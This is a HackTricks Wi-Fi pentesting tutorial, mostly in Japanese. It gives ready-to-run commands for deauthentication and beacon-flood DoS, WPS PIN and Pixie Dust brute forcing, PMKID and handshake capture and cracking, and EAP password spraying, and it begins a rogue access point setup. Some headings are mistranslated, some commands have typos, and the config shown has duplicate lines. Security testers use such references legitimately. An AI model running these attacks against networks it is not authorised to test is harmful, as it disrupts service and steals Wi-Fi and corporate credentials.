69 KiB
Wifiのペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。

HackenProofをフォロー して、web3のバグについてもっと学びましょう
🐞 web3のバグチュートリアルを読む
🔔 新しいバグバウンティについて通知を受ける
💬 コミュニティのディスカッションに参加する
Wifiの基本コマンド
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
ツール
EAPHammer
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
Airgeddon
Airgeddonは、ワイヤレスネットワークのペネトレーションテストに使用されるオールインワンのツールです。このツールは、さまざまな攻撃手法を使用して、WiFiネットワークの脆弱性をテストすることができます。
Airgeddonは、ワイヤレスネットワークのスキャン、ハンドシェイクのキャプチャ、ハンドシェイクの解析、パスワードのクラックなど、さまざまな機能を提供しています。また、WPSピン攻撃やEvil Twin攻撃などの高度な攻撃手法もサポートしています。
このツールは、Kali Linuxなどのペネトレーションテスト用のオペレーティングシステムで使用することができます。Airgeddonは、ユーザーフレンドリーなインターフェースを備えており、初心者から上級者まで幅広いユーザーに適しています。
Airgeddonを使用する際には、法的な制限と倫理的な考慮事項に留意する必要があります。ネットワークの許可なく、他人のWiFiネットワークに侵入することは違法です。ペネトレーションテストは、合法的な許可を得た範囲内で行う必要があります。
Airgeddonは、ワイヤレスネットワークのセキュリティをテストするための強力なツールですが、正当な目的で使用することが重要です。
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
Dockerを使用してairgeddonを実行する
If you prefer to run airgeddon in a Docker container, you can follow these steps:
- Install Docker on your system if you haven't already.
- Clone the airgeddon repository from GitHub:
git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git
- Change into the airgeddon directory:
cd airgeddon
- Build the Docker image using the provided Dockerfile:
docker build -t airgeddon .
- Run the Docker container with the necessary options:
docker run -it --net=host --privileged airgeddon
This will start airgeddon inside the Docker container, allowing you to use its features and perform WiFi pentesting tasks. Remember to provide the necessary permissions and network access to the container by using the --privileged
and --net=host
options.
Note: Make sure to have a compatible WiFi adapter connected to your system for airgeddon to work properly within the Docker container.
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
wifiphisher
Evil Twin、KARMA、およびKnown Beacons攻撃を実行し、その後フィッシングテンプレートを使用してネットワークの実際のパスワードを取得するか、ソーシャルネットワークの資格情報をキャプチャすることができます。
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
Wifite2
このツールは、WPS/WEP/WPA-PSK攻撃を自動化します。以下のことを自動的に行います:
- インターフェースをモニターモードに設定する
- 可能なネットワークをスキャンし、被害者を選択する
- WEPの場合、WEP攻撃を実行する
- WPA-PSKの場合
- WPSの場合:Pixieダスト攻撃とブルートフォース攻撃(ブルートフォース攻撃は時間がかかる可能性があるため注意が必要です)。ただし、null PINやデータベース/生成されたPINは試しません。
- APからPMKIDをキャプチャしてクラックを試みる
- APのクライアントを切断してハンドシェイクをキャプチャしようとする
- PMKIDまたはハンドシェイクがある場合、top5000のパスワードを使用してブルートフォース攻撃を試みる
攻撃の概要
- DoS
- Deauthentication/disassociation -- すべてのクライアントを切断する(または特定のESSID/クライアント)
- ランダムな偽AP -- ネットワークを隠し、スキャナーをクラッシュさせる可能性がある
- APの過負荷 -- APを停止させようとする(通常はあまり有用ではありません)
- WIDS -- IDSとの対戦
- TKIP、EAPOL -- 一部のAPをDoSするための特定の攻撃
- クラッキング
- WEPのクラック(いくつかのツールと方法)
- WPA-PSK
- WPSピンの「ブルートフォース」
- WPA PMKIDのブルートフォース
- [DoS +] WPAハンドシェイクのキャプチャ+クラッキング
- WPA-MGT
- ユーザー名のキャプチャ
- ブルートフォース認証情報
- Evil Twin(DoSあり/なし)
- Open Evil Twin [+ DoS] -- キャプティブポータルの資格情報をキャプチャしたり、LAN攻撃を実行するために役立ちます
- WPA-PSK Evil Twin -- パスワードを知っている場合にネットワーク攻撃に役立ちます
- WPA-MGT -- 会社の資格情報をキャプチャするために役立ちます
- KARMA, MANA, Loud MANA, Known beacon
- + Open -- キャプティブポータルの資格情報をキャプチャしたり、LAN攻撃を実行するために役立ちます
- + WPA -- WPAハンドシェイクをキャプチャするために役立ちます
DoS
切断パケット
この種の攻撃で最も一般的な方法は、切断パケットを使用することです。これらはデバイスをアクセスポイントから切断する責任がある「管理」フレームの一種です。これらのパケットを偽造することが、多くのWi-Fiネットワークをハックする鍵となります。ネットワークからいつでも任意のクライアントを強制的に切断できるため、これを行うことは比較的簡単で、しばしばクラックのためのWPAハンドシェイクを収集する一環として行われます。
この切断を一時的に使用してハンドシェイクを収集してクラックするだけでなく、これらの切断を続けることもできます。これにより、クライアントは接続しているネットワークからのように切断パケットを受け取ることになります。これらのフレームは暗号化されていないため、多くのプログラムは管理フレームを利用して、ネットワーク上の1つまたはすべてのデバイスに対してそれらを偽造して送信します。
ここからの説明です。
Aireplay-ngを使用した切断
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
- -0 は切断を意味します
- 1 は送信する切断パケットの数です(複数送信することも可能です);0 は連続的に送信します
- -a 00:14:6C:7E:40:80 はアクセスポイントのMACアドレスです
- -c 00:0F:B5:34:30:30 は切断するクライアントのMACアドレスです;省略するとブロードキャスト切断が送信されます(常に機能するわけではありません)
- ath0 はインターフェース名です
切断パケット
切断パケットは、近くのアクセスポイントからノード(ラップトップや携帯電話などのデバイス)を切断するために使用されるもう一つの管理フレームのタイプです。切断フレームと切断パケットの違いは、主に使用方法です。
不正なデバイスを切断するために、アクセスポイントは切断パケットを送信してデバイスにネットワークから切断されたことを通知します。一方、切断パケットは、アクセスポイントが電源を切ったり、再起動したり、エリアを離れるときに、ノードを切断するために使用されます。
ここからの説明です。
この攻撃は、mdk4(モード「d」)によって実行できます。
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
mdk4によるさらなるDOS攻撃
ここから。
攻撃モードb: ビーコンフラッディング
クライアントに偽のAPを表示するためにビーコンフレームを送信します。これにより、ネットワークスキャナーやドライバーがクラッシュすることがあります!
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
攻撃モード a: 認証サービス拒否
範囲内で見つかったすべてのAPに認証フレームを送信します。多くのクライアントがいると、いくつかのAPがフリーズしたりリセットされたりする可能性があります。
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
攻撃モード p: SSIDプロービングとブルートフォース
APをプローブし、応答をチェックします。SSIDが正しく非表示にされているか、APが送信範囲内にあるかを確認するのに役立ちます。ワードリストを使用して非表示のSSIDをブルートフォースすることもできます。
攻撃モード m: Michael対策の悪用
ランダムなパケットを送信したり、別のQoSキューに重複パケットを再注入することで、TKIP APでMichael対策を引き起こします。APはその後1分間シャットダウンされるため、これは効果的なDoS攻撃です。
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
攻撃モード e: EAPOL スタートとログオフパケットのインジェクション
偽のセッションを持つEAPOLスタートフレームを使ってAPに洪水を起こし、合法的なクライアントの処理を妨害します。または、偽のEAPOL ログオフメッセージをインジェクションすることでクライアントをログオフさせます。
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
攻撃モード s: IEEE 802.11s メッシュネットワークへの攻撃
メッシュネットワークにおけるリンク管理とルーティングに対するさまざまな攻撃。近隣ノードや経路にフラッド攻撃を行い、トラフィックを逸らしたり、ブラックホールを作成します!
攻撃モード w: WIDS 混乱
クライアントを複数のWDSノードや偽のローグAPにクロス接続することで、侵入検知および防止システムを混乱させる/悪用する。
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
攻撃モード f: パケットファズ
複数のパケットソースと素晴らしい修飾子を備えたシンプルなパケットファズ。注意して使用してください!
Airggedon
Airgeddon は、前のコメントで提案された攻撃のほとんどを提供します:
WPS
WPSはWi-Fi Protected Setupの略です。これは、ルーターとワイヤレスデバイスの接続をより速く簡単にするためのワイヤレスネットワークセキュリティの標準です。WPSは、パスワードで暗号化された WPA PersonalまたはWPA2 Personalセキュリティプロトコルを使用しているワイヤレスネットワークにのみ適用されます。WPSは、基本的なツールとスキルを持つハッカーによって簡単にクラックされることができる非推奨のWEPセキュリティを使用しているワイヤレスネットワークでは機能しません。(ここから引用)
WPSは、ユーザーがネットワークに接続するために8桁のPINを使用しますが、最初の4桁がまずチェックされ、正しい場合には次に2番目の4桁がチェックされます。その後、最初の半分をブルートフォースし、次に2番目の半分をブルートフォースすることができます(11000通りの可能性のみ)。
WPSブルートフォース
このアクションを実行するための2つの主要なツールがあります:ReaverとBully。
- Reaverは、WPSに対する堅牢で実用的な攻撃を行うように設計されており、さまざまなアクセスポイントとWPSの実装に対してテストされています。
- Bullyは、Cで書かれたWPSブルートフォース攻撃の新しい実装です。元のreaverコードに比べていくつかの利点があります:依存関係が少なく、メモリとCPUのパフォーマンスが向上し、エンディアンの処理が正しく行われ、より堅牢なオプションが用意されています。
この攻撃は、8桁のWPS PINコードの弱点を利用しています。この問題のため、プロトコルはPINの最初の4桁に関する情報を公開し、最後の桁はチェックサムとして機能し、WPS APのブルートフォースが容易になります。
一部のデバイスには、通常、攻撃を繰り返し試みるMACアドレスをブロックするブルートフォース保護が含まれています。その場合、この攻撃の複雑さが増します。PINをテストする間にMACアドレスを回転する必要があります。
WPSの有効なコードが見つかった場合、BullyとReaverはそれを使用してネットワークを保護するために使用されるWPA/WPA2 PSKを見つけることができますので、必要な時にいつでも接続することができます。
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
スマートなブルートフォース
すべての可能なPINを試すことから始める代わりに、攻撃しているAPの利用可能なPINが発見されているかどうか(製造元のMACに依存)と、PINソフトウェアが生成したPINをチェックするべきです。
- 既知のPINのデータベースは、特定の製造元のアクセスポイントに対して、同じWPS PINが使用されていることが知られているものです。このデータベースにはMACアドレスの最初の3オクテットと、この製造元に非常に可能性の高い対応するPINのリストが含まれています。
- WPS PINを生成するためのいくつかのアルゴリズムがあります。たとえば、ComputePINとEasyBoxは、アクセスポイントのMACアドレスを計算に使用します。ただし、ArcadyanアルゴリズムではデバイスIDも必要です。
WPS Pixie Dust攻撃
Dominique Bongardは、一部のAPがノンス(E-S1およびE-S2として知られる)を生成する際に弱い方法を持っていることを発見しました。これらのノンスが何であるかを特定できれば、APのWPS PINを簡単に見つけることができます。なぜなら、APはPINをハッシュで私たちに提供しなければならず、それによってAPもPINを知っていることを証明し、クライアントが偽のAPに接続していないことを示す必要があるからです。これらのE-S1とE-S2は、WPS PINを含む「ロックボックスを開けるための鍵」と言えます。詳細はこちら:https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)
基本的に、一部の実装では、認証通信中にPINが2つの部分に分解され、クライアントに送信される際にランダムなキーを使用することに失敗していたため、オフライン攻撃を使用して有効なPINをブルートフォースすることができました。
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
Null Pin攻撃
一部の非常に悪い実装では、Null PINを接続できるようにしてしまっています(非常に奇妙です)。Reaverはこれをテストすることができます(Bullyはできません)。
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
Airgeddon
すべての提案されたWPS攻撃は、_airgeddon_を使用して簡単に実行できます。
- 5と6はカスタムPINを試すことができます(もし持っている場合)
- 7と8はPixie Dust攻撃を実行します
- 13はNULL PINをテストすることができます
- 11と12は利用可能なデータベースから選択したAPに関連するPINを再収集し、ComputePIN、EasyBox、オプションでArcadyan(おすすめ、なぜなら)を使用して可能なPINを生成します
- 9と10はすべての可能なPINをテストします
WEP
壊れて消えたので、話すつもりはありません。ただし、_airgeddon_にはこの種の保護を攻撃するための「オールインワン」というWEPオプションがあります。他のツールも同様のオプションを提供しています。

HackenProofをフォロー して、web3のバグについてもっと学びましょう
🐞 web3のバグチュートリアルを読む
🔔 新しいバグバウンティについて通知を受ける
💬 コミュニティディスカッションに参加する
WPA/WPA2 PSK
PMKID
2018年、hashcatの作者は公開した新しい攻撃のタイプについて説明しました。この攻撃は1つのパケットに依存するだけでなく、攻撃対象のAPにクライアントが接続されていなくても、攻撃者とAPの間の通信だけで行うことができます。
実は、多くのモダンなルーターは、誰かが関連付けを行っているときにAP自体が送信する最初のEAPOLフレームの末尾にオプションのフィールドを追加します。これは「Robust Security Network」と呼ばれ、PMKID
と呼ばれるものを含んでいます。
元の投稿で説明されているように、PMKIDは私たちには既知のデータを使用して派生されます:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
「PMK Name」文字列が一定であるため、APとステーションのBSSID、および完全な4ウェイハンドシェイクから取得された「PMK」が同じであることがわかっている場合、hashcatはPSKをクラックし、パスフレーズを回復するために必要なすべての情報を持っています!
ここから取得した説明。
この情報を収集し、パスワードをローカルでブルートフォースするには、次の手順を実行します:
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
キャプチャされたPMKIDsはコンソールに表示され、また**/tmp/attack.pcap内にも保存されます。
次に、キャプチャをhashcat/john**形式に変換してクラックします。
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
正しいハッシュの形式は、4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7*566f6461666f6e65436f6e6e6563743034383131343838 のように、4つの部分から成ります。
もしハッシュが3つの部分しか含まれていない場合、それは無効です(PMKIDキャプチャが有効ではありません)。
hcxdumptool
はハンドシェイクもキャプチャします(次のようなものが表示されます:MP:M1M2 RC:63258 EAPOLTIME:17091
)。cap2hccapx
を使用して、ハンドシェイクをhashcat/johnの形式に変換することができます。
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
このツールでキャプチャされた一部のハンドシェイクは、正しいパスワードを知っていてもクラックすることができませんでした。可能であれば、従来の方法でもハンドシェイクをキャプチャするか、このツールを使用して複数のハンドシェイクをキャプチャすることをお勧めします。
ハンドシェイクのキャプチャ
WPA/WPA2ネットワークを攻撃する方法の一つは、ハンドシェイクをキャプチャして、オフラインで使用されるパスワードをクラックすることです。そのためには、被害者ネットワークのBSSIDとチャンネル、ネットワークに接続されているクライアントを見つける必要があります。
この情報を手に入れたら、そのBSSIDがそのチャンネルで行われるすべての通信を監視する必要があります。なぜなら、ハンドシェイクがそこに送信されることを期待しているからです。
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
以下の手順で、クライアントを一時的に認証解除し、自動的にAPに再度認証させる必要があります(クライアントの認証解除方法については、DoSの部分を読んでください):
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work
クライアントが認証解除された場合、別のAPに接続しようとするか、他のネットワークに接続しようとする可能性があることに注意してください。
airodump-ng
にハンドシェイク情報が表示されると、ハンドシェイクがキャプチャされたことを意味し、リスニングを停止できます。
ハンドシェイクがキャプチャされたら、aircrack-ng
を使用してクラックすることができます。
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
ファイル内にハンドシェイクがあるかを確認する
aircrack
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
tshark
tshark is a command-line tool that is part of the Wireshark network protocol analyzer. It allows you to capture and analyze network traffic in real-time. With tshark, you can capture packets from various network interfaces, apply filters to capture specific types of traffic, and save the captured data to a file for further analysis.
To use tshark, you need to have Wireshark installed on your system. Once installed, you can open a terminal and run the tshark command followed by the desired options and filters.
Here are some common tshark commands:
- Capture packets from a specific interface:
tshark -i <interface>
- Apply a capture filter:
tshark -i <interface> -f <filter>
- Save captured packets to a file:
tshark -i <interface> -w <output_file>
- Read packets from a capture file:
tshark -r <input_file>
- Apply a display filter:
tshark -r <input_file> -Y <filter>
- Print packet details:
tshark -r <input_file> -T <output_format>
tshark provides a wide range of options and filters that allow you to customize your packet capture and analysis. It is a powerful tool for network troubleshooting, security analysis, and protocol development.
For more information on tshark and its capabilities, you can refer to the Wireshark documentation.
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
cowpattyは、WPA-PSKハンドシェイクを解析するためのツールです。このツールは、WPA/WPA2のパスワードをクラックするために使用されます。cowpattyは、事前共有キー(PSK)を見つけるために、ハンドシェイクキャプチャファイルと辞書攻撃を使用します。
このツールを使用するには、まずハンドシェイクキャプチャファイルを取得する必要があります。これは、WPA/WPA2ネットワークに接続し、ハンドシェイクをキャプチャすることで行われます。次に、辞書攻撃を実行するための辞書ファイルを用意する必要があります。辞書ファイルには、パスワードの候補となる単語やフレーズが含まれています。
cowpattyを実行すると、ハンドシェイクキャプチャファイルと辞書ファイルを指定する必要があります。ツールは、辞書ファイル内の各単語やフレーズを使用して、ハンドシェイクキャプチャファイルのパスワードを総当たりで試行します。正しいパスワードが見つかると、cowpattyはそれを表示します。
cowpattyは、WPA-PSKハンドシェイクの解析において非常に効果的なツールです。ただし、強力なパスワードを使用している場合や、辞書ファイルに含まれていないパスワードを使用している場合は、解析が困難になる可能性があります。
cowpatty -r psk-01.cap -s "ESSID" -f -
このツールは、完了していないESSIDのハンドシェイクを検出した場合、有効なハンドシェイクを検出しません。
pyrit
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
WPAエンタープライズ(MGT)
異なる認証方法について話すことは重要です。エンタープライズWifiで使用される可能性のある認証方法について説明します。この種のWifiでは、おそらくairodump-ng
で次のようなものが見つかるでしょう:
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
EAP(拡張認証プロトコル)は、認証通信の骨組みであり、その上にサーバーがクライアント(サプリカント)を認証するために認証アルゴリズムが使用されます。一部の場合では、クライアントがサーバーを認証するためにも使用されます。
この場合に使用される主な認証アルゴリズムは次のとおりです:
- EAP-GTC:EAP-PEAPでハードウェアトークンとワンタイムパスワードの使用をサポートするためのEAPメソッドです。MSCHAPv2と似た実装ですが、ピアチャレンジは使用しません。代わりに、パスワードは平文でアクセスポイントに送信されます(ダウングレード攻撃に非常に興味深い)。
- EAP-MD-5(メッセージダイジェスト):クライアントはパスワードのMD5ハッシュを送信します。推奨されません:辞書攻撃に対して脆弱であり、サーバーの認証も行われず、セッションごとの有線同等プライバシー(WEP)キーを生成する方法もありません。
- EAP-TLS(トランスポート層セキュリティ):クライアント側とサーバー側の証明書を使用して認証を行い、後続の通信を保護するためにユーザーベースおよびセッションベースのWEPキーを動的に生成するために使用されます。
- EAP-TTLS(トンネル化トランスポート層セキュリティ):暗号化されたチャネル(またはトンネル)を介したクライアントとネットワークの相互認証、およびユーザーごとのセッションごとのWEPキーの生成手段を提供します。EAP-TLSとは異なり、EAP-TTLSはサーバー側の証明書のみが必要です(クライアントは資格情報を使用します)。
- PEAP(保護拡張認証プロトコル):PEAPはEAPプロトコルのようですが、通信を保護するためにTLSトンネルを作成します。その後、TLSトンネルの上に弱い認証プロトコルを使用できます。
- PEAP-MSCHAPv2:これは広く採用されているため、PEAPとも呼ばれます。これはPEAPの上にある脆弱なチャレンジ/レスポンスであるMSCHAPv2です(TLSトンネルで保護されています)。
- PEAP-EAP-TLSまたはPEAP-TLS:これはEAP-TLSに非常に似ていますが、証明書の交換の前にTLSトンネルが作成されます。
これらの認証方法の詳細については、こちらとこちらを参照してください。
ユーザー名のキャプチャ
https://tools.ietf.org/html/rfc3748#page-27を読むと、EAPを使用している場合、「Identity」メッセージがサポートされる必要があり、ユーザー名が**「Response Identity」メッセージでクリア**に送信されます。
最も安全な認証方法の1つであるPEAP-EAP-TLSを使用していても、EAPプロトコルで送信されるユーザー名をキャプチャすることができます。これを行うには、認証通信をキャプチャします(チャネル内でairodump-ng
を開始し、同じインターフェースでwireshark
を開始してパケットをeapol
でフィルタリングします)。
「Response, Identity」パケットの中に、クライアントのユーザー名が表示されます。
匿名のアイデンティティ
(情報はこちらから取得)
EAP-PEAPおよびEAP-TTLSの両方は、アイデンティティの非表示をサポートしています。WiFi環境では、アクセスポイント(AP)は通常、関連付けプロセスの一部としてEAP-Identityリクエストを生成します。匿名性を保持するために、ユーザーシステム上のEAPクライアントは、リクエストを処理するために十分な情報のみを含む応答を送信する場合があります。以下の例を参照してください。
- EAP-Identity = anonymous
この例では、すべてのユーザーが疑似ユーザー名「anonymous」を共有します。最初のホップのRADIUSサーバーはEAP-PEAPまたはEAP-TTLSサーバーであり、PEAPまたはTTLSプロトコルのサーバーエンドを駆動します。その後、内部(保護された)認証タイプは、ローカルで処理されるか、リモート(ホーム)RADIUSサーバーにプロキシされます。
- EAP-Identity = anonymous@realm_x
この例では、異なるレルムに属するユーザーは自分自身のアイデンティティを非表示にし、所属するレルムを示すだけです。これにより、最初のホップのRADIUSサーバーは、ユーザーのホームレルムのRADIUSサーバーにEAP-PEAPまたはEAP-TTLSリクエストをプロキシできます。最初のホップサーバーは純粋なRADIUSリレーノードとして機能します。
EAP-PEAPでは、PEAPサーバーとPEAPクライアントがTLSトンネルを確立すると、PEAPサーバーはEAP-Identityリクエストを生成し、TLSトンネルを下に送信します。クライアントは、この2番目のEAP-Identityリクエストに応答して、暗号化されたトンネルを下にユーザーの真のアイデンティティを含むEAP-Identity応答を送信します。これにより、802.11トラフィックを傍受してもユーザーの真のアイデンティティを発見することはできません。
EAP-TTLSは少し異なる動作をします。EAP-TTLSでは、クライアントは通常、TLSトンネルで保護されたPAPまたはCHAPを介して認証します。この場合、クライアントは、トンネルが確立された後に送信される最初のTLSメッセージにUser-Name属性とPasswordまたはCHAP-Password属性を含めます。
どちらのプロトコルでも、TLSトンネルが確立されると、PEAP/TTLSサーバーはユーザーの真のアイデンティティを学習します。真のアイデンティティは、_user@realmまたは単にuserの形式である場合があります。PEAP/TTLSサーバーがuser_の認証も行っている場合、ユーザーのアイデンティティがわかり、TLSトンネルで保護されている認証方法を続行します。また、PEAP/TTLSサーバーは、ユーザーのホームRADIUSサーバーに新しいRADIUSリクエストを転送することもできます。この新しいRADIUSリクエストには、PEAPまたはTTLSプロトコルが削除されています。保護された認証方法がEAPである場合、内部のEAPメッセージはEAP-PEAPまたはEAP-TTLS
EAP-Bruteforce(パスワードスプレー)
クライアントがユーザー名とパスワードを使用することが予想される場合(EAP-TLSはこの場合有効ではありません)、次の手順でユーザー名のリストとパスワードを取得し、air-hammerを使用してアクセスをブルートフォースすることができます。
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
あなたはeaphammer
を使用してもこの攻撃を行うことができます。
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
クライアント攻撃の理論
ネットワークの選択とローミング
802.11プロトコルは、ステーションがESSに参加する方法を指定する非常に具体的なルールを持っていますが、ステーションがどのESSに接続するかを選択する方法は指定していません。さらに、プロトコルは、同じESSを共有するアクセスポイント間でステーションが自由にローミングできるようにします(建物の一方からもう一方に移動する際にWiFi接続を失いたくないためなど)。ただし、802.11プロトコルはこれらのアクセスポイントがどのように選択されるべきかを指定していません。さらに、ステーションはアクセスポイントに関連付けるためにESSに認証されなければならないが、802.11プロトコルはアクセスポイントがステーションに認証されることを要求していません。
優先ネットワークリスト(PNL)
ステーションがワイヤレスネットワークに接続するたびに、ネットワークのESSIDはステーションの優先ネットワークリスト(PNL)に保存されます。 PNLは、ステーションが過去に接続したすべてのネットワークの順序付きリストであり、PNLの各エントリにはネットワークのESSIDと接続を確立するために必要なネットワーク固有の設定情報が含まれています。
パッシブスキャン
インフラストラクチャネットワークでは、アクセスポイントは定期的にビーコンフレームを送信して周辺のステーションに存在と機能を広告します。ビーコンはブロードキャストフレームであり、つまり、範囲内のすべての近くのステーションに受信されることを意図しています。ビーコンにはAPのサポートされるレート、暗号化の機能、追加情報などが含まれますが、最も重要なのは、ビーコンフレームにAPのESSIDが含まれていることです(ESSIDのブロードキャストが無効にされていない限り)。
パッシブスキャン中、クライアントデバイスは近くのアクセスポイントからのビーコンフレームを受信します。クライアントデバイスがPNLのESSIDフィールドと一致するESSIDを持つビーコンフレームを受信した場合、クライアントは自動的にビーコンフレームを送信したアクセスポイントに接続します。次に、現在ワイヤレスに接続されていないワイヤレスデバイスをターゲットにしたい場合、そのクライアントのPNLに少なくとも1つのエントリを知っている場合、そのエントリのESSIDを使用して独自のアクセスポイントを作成するだけで、クライアントを接続させることができます。
アクティブプロービング
802.11で使用される2番目のネットワーク選択アルゴリズムはアクティブプロービングとして知られています。アクティブプロービングを使用するクライアントデバイスは、範囲内のAPが何であるか、およびその機能が何であるかを判断するために、継続的にプローブリクエストフレームを送信します。プローブリクエストには2つの形式があります:直接とブロードキャスト。直接プローブリクエストは特定のESSIDに宛てられ、特定のネットワークが近くにあるかどうかをクライアントが確認する方法です。
直接プローブリクエストを使用するクライアントは、PNLの各ネットワークに対してプローブリクエストを送信します。なお、直接プローブリクエストは近くにある非表示ネットワークの存在を特定する唯一の方法であることに注意してください。ブロードキャストプローブリクエストはほぼ同じ方法で機能しますが、SSIDフィールドがNULLに設定されています。これにより、ブロードキャストプローブが近くのすべてのアクセスポイントに送信され、ステーションはPNLの内容を明らかにせずに、その優先ネットワークが近くにあるかどうかを確認できます。
インターネットへのリダイレクトを備えたシンプルなAP
より複雑な攻撃の実行方法を説明する前に、単にAPを作成し、そのトラフィックをインターネットに接続されたインターフェースにリダイレクトする方法について説明します。
ifconfig -a
を使用して、APを作成するためのwlanインターフェースとインターネットに接続されたインターフェースが存在することを確認します。
DHCP&DNS
apt-get install dnsmasq #Manages DHCP and DNS
以下のように、_ /etc/dnsmasq.conf_ という名前の設定ファイルを作成します:
# Enable DNS resolution
domain-needed
bogus-priv
# Set the DNS server
server=8.8.8.8
server=8.8.4.4
# Set the DHCP range
dhcp-range=192.168.0.100,192.168.0.200,12h
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
次に、IPアドレスとルートを設定します。
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
そして、dnsmasqを起動します:
dnsmasq -C dnsmasq.conf -d
hostapd
hostapdは、Linuxベースのシステムで使用されるツールです。これは、ワイヤレスアクセスポイント(AP)を作成するために使用されます。hostapdを使用すると、ワイヤレスネットワークの設定やセキュリティオプションの管理が容易になります。
hostapdは、さまざまなセキュリティプロトコルをサポートしており、WPA(Wi-Fi Protected Access)やWPA2(Wi-Fi Protected Access 2)などの暗号化方式を使用してネットワークを保護することができます。また、MACアドレスフィルタリングやアクセス制御リスト(ACL)の設定など、セキュリティを強化するための機能も提供しています。
